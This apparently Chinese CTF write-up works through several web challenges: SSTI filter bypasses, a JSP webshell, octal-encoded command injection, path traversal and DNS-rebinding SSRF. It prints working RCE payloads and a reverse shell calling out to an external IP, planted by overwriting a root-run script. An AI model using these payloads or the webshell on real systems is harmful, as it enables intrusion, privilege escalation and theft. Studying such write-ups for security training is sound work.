[toc]

华为云专场

MINE1_1(Jinja2 SSTI)

进入题目,一个扫雷游戏:

查看源代码,发现一个路由:

image-20201220112945342

进去看看,发现是一个ssti:

image-20201220113030730

经测试,过滤了大致有如下字符:

1
'    "    _    .    [    ]    args

和[UNCTF2020-11月公开赛]easyflask这道题相似,我们可以用|attr()配合request对象来bypass。只不过这里过滤了args,所以不能用request.args了。我们可以用request.values绕过,POST和GET两种方法传递的数据它都可以接收。

查看控制台发现是python2环境。

最后给出payload:

1
/success?msg={{()|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3)()|attr(request.values.x4)(77)|attr(request.values.x5)|attr(request.values.x6)|attr(request.values.x4)(request.values.x7)|attr(request.values.x4)(request.values.x8)(request.values.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('cat flag.txt').read()

image-20201220113559467

MINE2(Jinja2 SSTI)

与上一题相似,仍然是一个扫雷页面,查看源码找到路由/success?msg=:

image-20201220153823161

依然是ssti,查看控制台发现是python3环境。

经测试,大致过滤了一下字符:

1
'    _    .    [    {{    request    args    values    g

好家伙,request都过滤了,但是依然没有过滤attr,且没有过滤双引号 ",我们想到编码绕过,即将敏感字符进行Unicode或十六进制进行编码,并配合attr()进行bypass。

过滤了 {{ 我们可以用 {%print()%} 的形式绕过。

我们先尝试Unicode编码,payload如下:

1
{%print(()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(258)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")())%}

失败了,发现过滤了 “u”,啊这。。。Unicode编码不能用了,我们可以用Hex编码,和Unicode编码的姿势是一样的,只不过将Unicode编码换成了Hex编码,payload如下:

1
{%print(()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("ls")|attr("read")())%}

image-20201220155825328

然后flag.txt,但这里要注意,由于过滤了点 . 、字符 “g”还有空格,所以我们也要将这些字符进行Hex编码才行,即 popen("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74"),payload如下:

1
{%print(()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(258)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x66\x6c\x61\x67\x2e\x74\x78\x74")|attr("read")())%}

image-20201220160254900

如上图所示,得到flag。

WEBSHELLL_1(jsp马)

Hint:flag必须通过执行命令cat /flag的方式才能获取到。

进入题目,是一个文件上传的页面,上传的任何文件都会被重命名为一个jsp文件:

image-20201220115541010

从网上找了一个jsp的一句话木马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("&#60;pre&#62;");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("&#60;/pre&#62;");
}
%>

// shell.jsp?pwd=023&i=ls

上传后执行命令:

image-20201220140546222

获取flag:

image-20201220140616534

PYER

进入题目,是一个后台的登录页面:

image-20201220133700924

经测试,存在基于时间的盲注。

CLOUD

不太会。。。

HIDS(八进制绕过命令执行)

Hint:readflag运行90秒后才会打印出flag。

进入题目,发现是一个可以执行命令的输入框:

image-20201220172351046

过滤了很多,执行 ls 命令可以发现当前目录下有一个web目录,web目录里面有一个app.py:

image-20201220175826810

使用如下命令将app.py的源码读出来:

1
cd$IFS$9web;cat$IFS$9$(ls)

image-20201220175636824

得到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask
from flask import render_template,request
import subprocess,re
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
return render_template('index.html')

@app.route('/run',methods=['POST'])
def run():
cmd = request.form.get("cmd")
if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd):
return 'Hacker!'
if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd):
return 'Hacker!'
p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
try:
(msg, errs) = p.communicate(timeout=5)
return msg
except Exception as e:
return 'Error!'

app.run(host='0.0.0.0',port='5000')

可见我们执行的命令里面必须包含 ^0-9a-zA-Z">\\\$(); 这几个字符,并且不能存在 ping|wget|curl|bash|perl|python|php|kill|ps 等关键字。

我们看见 $() 后,可以很容易地想到用进制编码的格式进行执行命令,如下

使用八进制进行命令执行成功绕过:

1
$(printf$IFS$9"\154\163\40\57")    # ls /

image-20201221135633835

直接读flag发现权限不够。

在根目录发现readflag,执行/readflag:

1
$(printf$IFS$9"\57\162\145\141\144\146\154\141\147")

却只得到一个Error的报错:

image-20201220183212917

懵逼了,在这卡了一会,后来发现在根目录还有一个detect.py,我们执行如下命令,将detect.py的代码读出来:

1
$(printf$IFS$9"\143\141\164\40\57\144\145\164\145\143\164\56\160\171")   # cat /detect.py

得到detect.py中的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os,signal

out=os.popen("ps -ef").read()

for line in list(out.splitlines())[1:]:
try:
pid = int(line.split()[1])
ppid = int(line.split()[2])
cmd = " ".join(line.split()[7:])
if ppid in [0,1] and cmd in ["/usr/local/bin/python3.8 /home/ctf/web/app.py","/usr/sbin/cron","/usr/bin/tail -f /var/log/cron","/usr/local/bin/python3.8 /detect.py","/bin/sh -c /usr/sbin/cron && /usr/bin/tail -f /var/log/cron"]:
continue
os.kill(pid,signal.SIGKILL)
except Exception as e:
pass

分析代码可知,detect.py文件将检查目标主机上的进程,如果发现不在白名单里的恶意进程就会杀死。根据题目的提示——“We will kill malicious processes every minute.”,也就是说目标主机每隔一分钟就会杀死我们的恶意进程,所以我们可以猜测,目标主机每隔一分钟就会执行以下这个detect.py文件。

我们执行如下命令,查看一下根目录里面detect.py文件的权限:

1
$(printf$IFS$9"\154\163\40\57\40\55\141\154")   # ls / -al

得到如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
total 100
drwxr-xr-x 21 root root 4096 Dec 20 14:15 .
drwxr-xr-x 21 root root 4096 Dec 20 14:15 ..
-rwxr-xr-x 1 root root 0 Dec 20 14:15 .dockerenv
drwxr-xr-x 2 root root 4096 Nov 18 00:31 bin
drwxr-xr-x 2 root root 4096 Sep 19 21:39 boot
-rwxrw-rw- 1 root root 289 Dec 20 14:35 detect.py
drwxr-xr-x 5 root root 360 Dec 20 14:15 dev
drwxr-xr-x 53 root root 4096 Dec 20 14:15 etc
-r-------- 1 root root 39 Dec 20 14:15 flag
drwxr-xr-x 3 root root 4096 Dec 11 10:09 home
drwxr-xr-x 8 root root 4096 Nov 18 00:32 lib
drwxr-xr-x 2 root root 4096 Nov 17 00:00 lib64
drwxr-xr-x 2 root root 4096 Nov 17 00:00 media
drwxr-xr-x 2 root root 4096 Nov 17 00:00 mnt
drwxr-xr-x 2 root root 4096 Nov 17 00:00 opt
dr-xr-xr-x 528 root root 0 Dec 20 14:15 proc
-rwsr-sr-x 1 root root 16768 Dec 11 10:09 readflag
drwx------ 3 root root 4096 Dec 11 10:09 root
drwxr-xr-x 4 root root 4096 Dec 20 14:15 run
drwxr-xr-x 2 root root 4096 Nov 18 00:31 sbin
drwxr-xr-x 2 root root 4096 Nov 17 00:00 srv
dr-xr-xr-x 13 root root 0 Dec 11 05:59 sys
drwxrwxrwt 2 root root 4096 Dec 19 12:54 tmp
drwxr-xr-x 10 root root 4096 Nov 17 00:00 usr
drwxr-xr-x 11 root root 4096 Nov 17 00:00 var

我们可以看到我们对根目录里的大部分文件都没有“写权限(w)”,唯独对这个detect.py文件具有“写权限(w)”,并且这个detect.py文件的执行权限在其“所有者(root)”用户手中。那么如果我们覆写这个detect.py文件,在里面写入反弹shell的命令,一分钟后,我们就可以获得目标主机的root权限的shell,就可以直接读取flag了。

说干就干!执行如下命令,覆写detect.py文件:

1
2
3
echo$IFS$9$(printf$IFS$9"\151\155\160\157\162\164\40\163\157\143\153\145\164\54\163\165\142\160\162\157\143\145\163\163\54\157\163\73\163\75\163\157\143\153\145\164\56\163\157\143\153\145\164\50\163\157\143\153\145\164\56\101\106\137\111\116\105\124\54\163\157\143\153\145\164\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\61\56\65\67\56\67\62\42\54\62\63\63\63\51\51\73\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\40\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\40\157\163\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\163\165\142\160\162\157\143\145\163\163\56\143\141\154\154\50\133\42\57\142\151\156\57\163\150\42\54\42\55\151\42\135\51\73")>$(printf$IFS$9"\57")detect$(printf$IFS$9"\56")py

# echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.101.57.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /detect.py

如下图所示,成功获得root权限的shell并读取flag:

image-20201221141344400

鲲鹏计算专场

babyphp(file_get_contents目录穿越)

进入题目,让你进行一个端口扫描:

image-20201223180625908

尝试扫描端口却失败了:

image-20201223180657915

根据他的提示,我们想到用Google语法搜索他泄露的源码,我们右键查看html源码:

image-20201223180804337

复制,并用如下Google语法进行检索:

1
site:github.com  <html> <form action="" method="post"> <input type="text" name="startip" value="Start IP" /> <input type="text" name="endip" value="End IP" /> <input type="text" name="port" value="80,8080,8888,1433,3306" /> Timeout<input type="text" name="timeout" value="10" /><br/> <button type="submit" name="submit">Scan</button> </form> </html>

得到源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null; // REQUEST方法通过获取url

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1) {
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout); // 打开一个网络连接或者一个Unix套接字连接
if ($conn) {
fclose($conn);
return true;
}
}


function scanip($ip,$timeout,$portarr){ // 进行端口扫描,如果能打开一个网络连接,就返回true,代表端口是打开的
foreach($portarr as $port){
if(check_port($ip,$port,$timeout=0.1)==True){
echo 'Port: '.$port.' is open<br/>';
@ob_flush();
@flush();

}

}
}

echo '<html>
<form action="" method="post">
<input type="text" name="startip" value="Start IP" />
<input type="text" name="endip" value="End IP" />
<input type="text" name="port" value="80,8080,8888,1433,3306" />
Timeout<input type="text" name="timeout" value="10" /><br/>
<button type="submit" name="submit">Scan</button>
</form>
</html>
';

if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){

$startip=$_POST['startip'];
$endip=$_POST['endip'];
$timeout=$_POST['timeout'];
$port=$_POST['port'];
$portarr=explode(',',$port);
$siparr=explode('.',$startip);
$eiparr=explode('.',$endip); // 生成数组
$ciparr=$siparr;
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){ // startip必须为4个,并且每个startip对应等于为endip
exit('IP error: Wrong IP address or Trying to scan class A address');
}
if($startip==$endip){
echo 'Scanning IP '.$startip.'<br/>';
@ob_flush();
@flush();
scanip($startip,$timeout,$portarr);
@ob_flush();
@flush();
exit();
}

if($eiparr[3]!=255){
$eiparr[3]+=1;
}
while($ciparr!=$eiparr){
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
echo '<br/>Scanning IP '.$ip.'<br/>';
@ob_flush();
@flush();
scanip($ip,$timeout,$portarr);
$ciparr[3]+=1;

if($ciparr[3]>255){
$ciparr[2]+=1;
$ciparr[3]=0;
}
if($ciparr[2]>255){
$ciparr[1]+=1;
$ciparr[2]=0;
}
}
}

/*内网代理代码*/

function getHtmlContext($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
$result = curl_exec($ch); // ssrf
global $header;
if($result){
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE); // 头信息大小
$header = explode("\r\n",substr($result, 0, $headerSize)); // http头
$body = substr($result, $headerSize); // body部分
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
return $body; // 如果状态码为200,就返回body部分
}
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
$location = getHeader("Location"); // 获取Location头部信息
if(strpos(getHeader("Location"),'http://') == false){
$location = getHost($url).$location;
}
return getHtmlContext($location);
}
return NULL;
}

function getHost($url){
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
return $matches[0]; // 获取主机名,获取完整的url
}
function getCss($host,$html){
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
foreach($matches[1] as $v){
$cssurl = $v;
if(strpos($v,'http://') == false){
$cssurl = $host."/".$v;
}
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
$html .= $csshtml;
}
return $html;
}

if($url != null){

$host = getHost($url);
echo getCss($host,getHtmlContext($url));
}
?>

好像存在ssrf:

image-20201223182530280

审计上面的代码,我们可以得知,服务端会爬取目标网站url上的css,然后file_get_contents执行css标签里的url从而获取css的内容,我们利用file_get_contents函数的目录穿越即可读取到flag,即

1
file_get_contents(xxx/../../../../flag)  

将读取根目录里的flag。

我们在自己vps的web目录里新建一个index.php,里面写入含有目录穿越的css标签:

1
<link rel='stylesheel' href='http://../a.css/../../../../../../../var/www/html/flag.php' type='text/.css' />

然后执行/?url=http://yourhost.com/index.php,右键查看源代码即可发现flag:

image-20201225095650693

CLOUDSTORAGE(DNS Rebinding Attack DNS重绑攻击在SSRF中的应用)

该题解析参考Y1ng师傅博客:https://www.gem-love.com/websecurity/2733.html

因为大量访问导致题目服务器负载过高,出题人放出了题目docker docker ,让选手本地搭建环境进行测试,打通后再去打远程环境。

使用docker-compose在自己vps上搭建好:

1
docker-compose up -d --build

image-20201225100518373

是一个云存储的页面。

经测试,题目只是套了一个云存储的壳,但是上传下载都没有什么卵用。既然给了源码,那我们就分析一下他的代码。

app.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
const express = require('express');
const env = require('dotenv').config();
const session = require('express-session');
const FileStore = require('session-file-store')(session);
const cookieParser = require("cookie-parser");
const path = require('path');
const crypto = require("crypto");
const bodyParser = require('body-parser');
const hbs = require('hbs');
const {docker} = require("./routes/docker.js")

const app = express();

app.use(express.static('public'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(session({
name: "auth",
secret: env.parsed.session,
resave: false,
saveUninitialized: true,
store: new FileStore({path: __dirname+'/sessions/'})
}));
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.use((req, res, next) => {
if (!req.session.files )
req.session.files = [];
if (!req.session.name)
req.session.name = md5(req.ip);
next();
})

const md5 = function (s) { return crypto.createHash('md5').update(s).digest('hex') }
require('./routes/cos.js')(app, md5, docker)
require("./routes/panel.js")(app, md5, docker)

app.get('/flag', function(req, res){ // 必须从本地访问/flag路由才能获得flag
if (req.ip === '127.0.0.1') {
res.status(200).send(env.parsed.flag)
} else res.status(403).end('not so simple');
});

app.listen(80, "0.0.0.0");

cos.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
module.exports = function(app, md5, docker) {

const multer = require('multer');
const fs = require('fs');
const path = require('path')
const upload = multer({dest: '/tmp/upload_tmp/'});

app.get('/', function(req, res){
res.render("upload")
});

app.post('/upload', upload.any(), function(req, res){
if (!req.files[0]) {
res.send( JSON.stringify({"code" : "-1", "message" : "you are not allowed"}) )
return;
}

let filename = md5(req.files[0].originalname + req.files[0].size + req.ip)
let des_file = "static/upload/" + filename;
if (fs.existsSync(des_file)) {
res.end( JSON.stringify( {"code" : "-1", "message" : "already existed!"} ) )
return
}

fs.readFile( req.files[0].path, function (err, data) {
fs.writeFile(des_file, data, function (err) {
let response;
if (err) {
response = {"code" : "-1", "message" : "err!"}
} else {
response = {
code: '0',
filepath: des_file,
message: `http://${docker.host}:${docker.port}/download/${filename}`
};
req.session.files.push(filename)
}
res.end( JSON.stringify( response ) );
});
});
});

app.get('/download/:file', (req, res) => {
let filename = req.url.split("/download/").slice(1,req.url.split("/download/").length).join("")
if (filename.indexOf('..') !== -1) {
res.end( JSON.stringify( {"code" : "-1", "message" : "my dear dalao pls stop hacking me"} ) )
return
}
let file = path.join(__dirname, `../static/upload/${filename}`)
if (!fs.existsSync(file)) {
res.status(404).end( JSON.stringify( {"code" : "-1", "message" : "404 not found"} ) )
return
}
res.download(file)
})

}

docker.js:

1
2
3
4
5
6
7
8
const env = require('dotenv').config();
const docker = {
'ip' : env.parsed.ip || '121.37.175.154',
'port' : env.parsed.port || '8000',
'host' : env.parsed.host || 'cloudstorage.xctf.org.cn'
}

exports.docker = docker

panel.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
module.exports = function(app, md5, docker) {

const request = require('request');
const cp = require('child_process')
const { check } = require("./utils")

app.get('/admin', async (req, res) => {
let host = `http://${docker.host}:${docker.port}/`
let html = ""
await req.session.files.forEach((file) => {
html += `<a href ='javascript:doPost("/admin", {"fileurl":"${host}download/${file}"})' target=''>${file}</a><br>` + "\n\n"
})
res.render("admin", {"files" : html})
})

app.post('/admin', (req, res) => {
if ( !req.body.fileurl || !check(req.body.fileurl) ) { // 需要提交一个fileurl参数,然后调用 check() 进行 url 的验证
res.end("Invalid file link")
return
}
let file = req.body.fileurl;

//dont DOS attack, i will sleep before request
cp.execSync('sleep 5') // 延迟5秒钟

let options = {url : file, timeout : 3000}
request.get(options ,(error, httpResponse, body) => {
if (!error) {
res.set({"Content-Type" : "text/html; charset=utf-8"})
res.render("check", {"body" : body})
} else {
res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
}
});
})

}

utils.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
const cp = require('child_process')
const ip = require('ip')
const url = require('url');
const {docker} = require("./docker.js")

const checkip = function (value) { // 来检查是否是正常的ip格式
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}

const dnslookup = function(s) { //利用公网上一个 dns 解析的 api 来解析出url所对应的ip
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}

const check = function(s) {
if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
return false

let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;

host = url.parse(s).hostname // url.parse()将一个完整的URL地址分成host, port等部分
port = url.parse(s).port
if ( host == null || port == null) // host和port不能为空
return false

dns = dnslookup(host);
if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) ) // dns解析出的 ip 不能是私有 ip 并且必须等于 docker.ip,并且端口不能是 80 或者 8080
return false

for (let i = 0; i < blacklist.length; i++) // for 循环匹配了一些黑名单关键字
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}

exports.check = check

题目套了一个云存储的壳,但是上传下载都没有什么卵用,主要看panel.js中的 /admin 路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.post('/admin', (req, res) => {
if ( !req.body.fileurl || !check(req.body.fileurl) ) { // 需要提交一个fileurl参数,然后调用 check() 进行 url 的验证
res.end("Invalid file link")
return
}
let file = req.body.fileurl;

//dont DOS attack, i will sleep before request
cp.execSync('sleep 5') // 延迟5秒钟

let options = {url : file, timeout : 3000}
request.get(options ,(error, httpResponse, body) => {
if (!error) {
res.set({"Content-Type" : "text/html; charset=utf-8"})
res.render("check", {"body" : body})
} else {
res.end( JSON.stringify({"code" : "-1", "message" : error.toString()}) )
}
});
})

需要 POST 提交一个 fileurl 参数,然后首先调用 check() 进行 url 的验证,之后再同步执行 sleep 5 命令,最后 request 去访问并把访问的结果渲染进模板。

app.js中存在 /flag 路由,只有本地访问才能拿到 flag:

1
2
3
4
5
app.get('/flag', function(req, res){
if (req.ip === '127.0.0.1') {
res.status(200).send(env.parsed.flag)
} else res.status(403).end('not so simple');
});

所以题目意图就很明显了,通过 request 本地去访问到 /flag 并把 flag 带出来。

URL 的检测就是 check utils.js 中的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
const checkip = function (value) {    // 来检查是否是正常的ip格式
let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
if (!pattern.exec(value))
return false;
let ary = value.split('.');
for(let key in ary)
{
if (parseInt(ary[key]) > 255)
return false;
}
return true ;
}

const dnslookup = function(s) { //利用公网上一个 dns 解析的 api 来解析出url所对应的ip
if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
let query = '';
try {
query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
} catch (e) {
return 'wrong'
}
return checkip(query) ? query : 'wrong'
} else return 'wrong'
}

const check = function(s) {
if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
return false

let blacklist = ['wrong', '127.', 'local', '@', 'flag']
let host, port, dns;

host = url.parse(s).hostname // url.parse()将一个完整的URL地址分成host, port等部分
port = url.parse(s).port
if ( host == null || port == null) // host和port不能为空
return false

dns = dnslookup(host);
if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) ) // dns解析出的 ip 不能是私有 ip 并且必须等于 docker.ip,并且端口不能是 80 或者 8080
return false

for (let i = 0; i < blacklist.length; i++) // for 循环匹配了一些黑名单关键字
{
let regex = new RegExp(blacklist[i], 'i');
try {
if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
return false
} catch (e) {}
if (s.match(regex))
return false
}
return true
}

exports.check = check

check() 的主要检测逻辑如下:

  1. url.parse() 解析,将url分成host和port等部分
  2. 利用公网上一个 dns 解析的 api(ip-api.com)来解析url,解析出的 ip 不能是私有 ip 并且必须等于 docker.ip,即题目的ip
  3. url.parse() 解析出来的端口不能是 80 或者 8080
  4. 之后 for 循环匹配了一些黑名单关键字

这些全过了才可以,尤其是解析的 ip 必须是题目服务器的 ip 这个很恶心,而且公网这个 dns 解析的 api 对于域名可以解析出 A 记录地址,对于 ip 地址则返回这个 ip 地址,基本也没什么办法绕过,尤其对 js 不熟悉的同学更是无从下手。

DNS 重绑攻击:

DNS 重绑攻击的详细介绍网上有很多文章,这里就以本例题给大家介绍一下。

当一个 url 被提交到 /admin 路由时,题目干了两件事:

  1. check() 函数内利用公网那个 api 对域名进行了第一次解析
  2. sleep 5 后,request.get () 访问 url 对域名进行了第二次解析

正如它的名字 “重绑”,攻击者准备一个域名,在 check 时解析到了题目的 ip 地址,于是理所当然的过了 check;之后,攻击者将其 “重新绑定” 到一个攻击者的 ip 或者内网 ip 或者本地 ip,再第二次访问时第二次解析,此时解析出来的 IP 已经被重绑到了新的 ip,于是就访问到了攻击者 / 内网 / 本地;这里的 sleep 本身也是一个助攻,因为这个时间差可以更利于重绑攻击的实现。

在 CTF 中,DNS 重绑主要应用在 SSRF 题目中,例如 2020 ASIS CTF PyCrypto,Writeup 可参考:https://www.gem-love.com/ctf/2462.html#PyCrypto

DNS 重绑攻击的条件是要进行多次 DNS 解析,并且利用这个 DNS 解析的时间差来进行一些利用,关键是要找到 DNS 解析的顺序以及代码的逻辑,然后尝试重绑攻击。

很多时候 DNS 重绑是先过 check 然后重绑到 127.0.0.1 来 SSRF。本题目的 SSRF 和常规 SSRF 的套路一致,但不能重绑到 127.0.0.1,因为本地是 80 端口,但是 check() 并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且非 80/8080 端口,当访问到攻击者时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。

攻击实现:

相信有的选手尽管了解到这个攻击原理,但是没有一个好用的 DNS Rebinding 平台,这里列出几个免费的:

  1. https://requestrepo.com/
  2. https://lock.cmpxchg8b.com/rebinder.html
  3. http://rbnd.gl0.eu/

以第一个 requestrepo 为例。

首先准备一台vps,开放非 80/8080 端口 (我开的 8848),并设置302跳转到 http://127.0.0.1/flag

1
2
3
<?php
header("Location: http://127.0.0.1:80/flag");
?>

来到 requestrepo,进行DNS 设置:

image-20201225104941516

然后POST方法提交 fileurl=http://whoami.3zt0dv3o.requestrepo.com:8848 这个url到 /admin 路由即可。

因为随机解析不一定每次都成功、api 可能会请求 1~2 次、DNS 缓存、题目比较卡等多方面原因,直接提交可能不会成功,就写脚本循环提交就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
import requests as req

s = req.session()
url = "http://cloudstorage.xctf.org.cn:8011/admin"
data = {"fileurl" : "http://whoami.3zt0dv3o.requestrepo.com:8848/index.php" }
while True:
try:
text = s.post(url=url, data=data, timeout=10).text
print(text)
if "flag{" in text:
exit(0)
except Exception as e :
print(e)

img